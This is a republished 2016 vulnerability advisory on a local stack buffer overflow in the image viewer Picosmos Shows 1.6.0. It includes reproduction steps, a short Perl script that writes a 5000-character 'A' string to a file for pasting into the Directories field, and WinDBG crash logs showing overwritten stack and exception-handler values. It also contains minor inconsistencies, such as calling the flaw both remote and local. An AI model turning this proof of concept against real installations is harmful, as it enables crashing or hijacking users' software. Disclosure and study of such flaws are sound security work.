Picosmos Shows 1.6.0 Stack Overflow

2016-09-09T00:00:00
ID PACKETSTORM:138654
Type packetstorm
Reporter ZwX
Modified 2016-09-09T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Picosmos Shows v1.6.0 - Stack Overflow Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1936  
  
  
Release Date:  
=============  
2016-09-05  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1936  
  
  
Common Vulnerability Scoring System:  
====================================  
6.1  
  
  
Product & Service Introduction:  
===============================  
Picosmos Shows - View image files on your computer, set them as wallpaper or process them, individually or in groups,   
using this useful program. Editing images can be quite a tedious activity, especially if there are many files and all   
you have to do is subtle image optimizations. Although there are some methods to quickly do this without much effort,   
using editors batch file, as Picosmos Entertainment, is one of the most effective ways.  
  
(Copy of the Homepage: http://www.picosmos.net/)  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered a stack buffer overflow vulnerability in the official Picosmos Shows v1.6.0 software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-09-05: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Picosmos Tools  
Product: Picosmos Shows - Software 1.6.0  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A local stack buffer overflow vulnerability has been discovered in the official Picosmos Shows v1.6.0 software.  
The overflow vulnerability allows remote attackers to take-over the process by overwrite of the active registers.  
  
The stack buffer overflow vulnerability is located in the `directory entry` module of the software. Local attackers are   
able to include unicode as malicious payload to crash software via stack overflow. Thus allows the local attacker to   
overwrite for example the eip register to take control of the vulnerable software process.   
  
The security risk of the issue is estimated as high with a cvss (common vulnerability scoring system) count of 6.1.   
Exploitation of the vulnerability requires a low privilege or restricted system user account without user interaction.   
Successful exploitation of the vulnerability results in computer system manipulation and compromise of the computer system.  
  
Vulnerable Input(s):  
[+] Directories - (Entry)  
  
  
Proof of Concept (PoC):  
=======================  
A local stack overflow vulnerability can be exploited by local attackers without user interaction and with privileged system user account.  
For security demonstration or to reproduce the sofwtare vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Launch the PicosmosShows.exe software process  
Note: Additional you can attach a debugger like windbg to the software process  
2. Run the code in perl and a file format (.txt) will create  
3. Copy the AAAAAAAAA+... string from Picosmos.txt to clipboard  
4. Paste it to the input Directories AAAAAAAAA+... string and click Enter to process  
5. Software crash permanently by a stack overflow  
6. Successfully reproduce of the local stack buffer overflow vulnerability!  
  
  
PoC: Exploit Code (Perl)  
#!/usr/bin/perl  
my $Buff = "x41" x 5000;  
open(MYFILE,'>>Picosmos.txt');  
print MYFILE $Buff;  
close(MYFILE);  
print " POC Created by ZwXn";  
  
  
--- PoC Debug Session Logs [WinDBG] ---  
(1634.22ec): Stack buffer overflow - code c0000409  
eax=00000001 ebx=0044b208 ecx=00000002 edx=748bb3f8 esi=004a98b0 edi=00436bd0  
eip=10467b10 esp=01b9f38c ebp=01b9f6b0 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202  
*** WARNING: Unable to verify checksum for C:Program FilesPicosmosToolsBCGCBPRO2420u120.dll  
*** ERROR: Symbol file could not be found.   
Defaulted to export symbols for C:Program FilesPicosmosToolsBCGCBPRO2420u120.dll -   
BCGCBPRO2420u120!BCGPGetRegPath+0x2910:  
10467b10 cd29 int 29h  
  
EXCEPTION_RECORD: ffffffff -- (.exr ffffffffffffffff)  
ExceptionAddress: 10467b10 (BCGCBPRO2420u120!BCGPGetRegPath+0x00002910)  
ExceptionCode: c0000409 (Stack buffer overflow)  
ExceptionFlags: 00000001  
NumberParameters: 1  
Parameter[0]: 00000002  
  
FAULTING_THREAD: 000022ec  
BUGCHECK_STR: STACK_OVERRUN  
PROCESS_NAME: PicosmosShows.exe  
FAULTING_MODULE: 77a50000 ntdll  
DEBUG_FLR_IMAGE_TIMESTAMP: 569ba4fa  
ERROR_CODE: (NTSTATUS) 0xc0000409 - Le syst me a d tect la saturation de la m moire tampon   
dans cette application. Cette saturation pourrait permettre un utilisateur mal intentionn   
de prendre le contr le de cette application.  
DEFAULT_BUCKET_ID: WRONG_SYMBOLS  
LAST_CONTROL_TRANSFER: from 10350090 to 10467b10  
  
STACK_TEXT:   
WARNING: Stack unwind information not available. Following frames may be wrong.  
01b9f6b0 10350090 00000000 00000000 004ff294 BCGCBPRO2420u120!BCGPGetRegPath+0x2910  
01b9f8d0 00410041 00410041 00410041 00410041 BCGCBPRO2420u120!CBCGPShellManager::ItemFromPath+0x90  
01b9f8d4 00410041 00410041 00410041 00410041 0x410041  
01b9f8d8 00410041 00410041 00410041 00000000 0x410041  
01b9f8dc 00410041 00410041 00000000 00410041 0x410041  
01b9f8e0 00410041 00000000 00410041 00410041 0x410041  
01b9f8e4 00000000 00410041 00410041 00410041 0x410041  
0:000> !exchain  
01b9f908: 00410041  
Invalid exception stack at 00410041  
0:000> d ebp  
01b9f6b0 d0 f8 b9 01 90 00 35 10-00 00 00 00 00 00 00 00 ......5.........  
01b9f6c0 94 f2 4f 00 41 00 41 00-41 00 41 00 41 00 41 00 ..O.A.A.A.A.A.A.  
01b9f6d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
01b9f6e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
01b9f6f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
01b9f700 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
01b9f710 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
01b9f720 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
  
  
  
Solution - Fix & Patch:  
=======================  
Restrict the number of characters in the input of the Directories entry module and allocate the memory.  
  
  
Security Risk:  
==============  
The security risk of the local stack buffer overflow vulnerability in the software is estimated as high. (CVSS 6.1)  
  
  
Credits & Authors:  
==================  
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed   
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable   
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab   
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for   
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies,   
deface websites, hack into databases or trade with stolen data.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com  
Section: magazine.vulnerability-lab.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php  
  
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark   
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.  
  
Copyright A(c) 2016 | Vulnerability Laboratory - [Evolution Security GmbH]aC/  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
  
`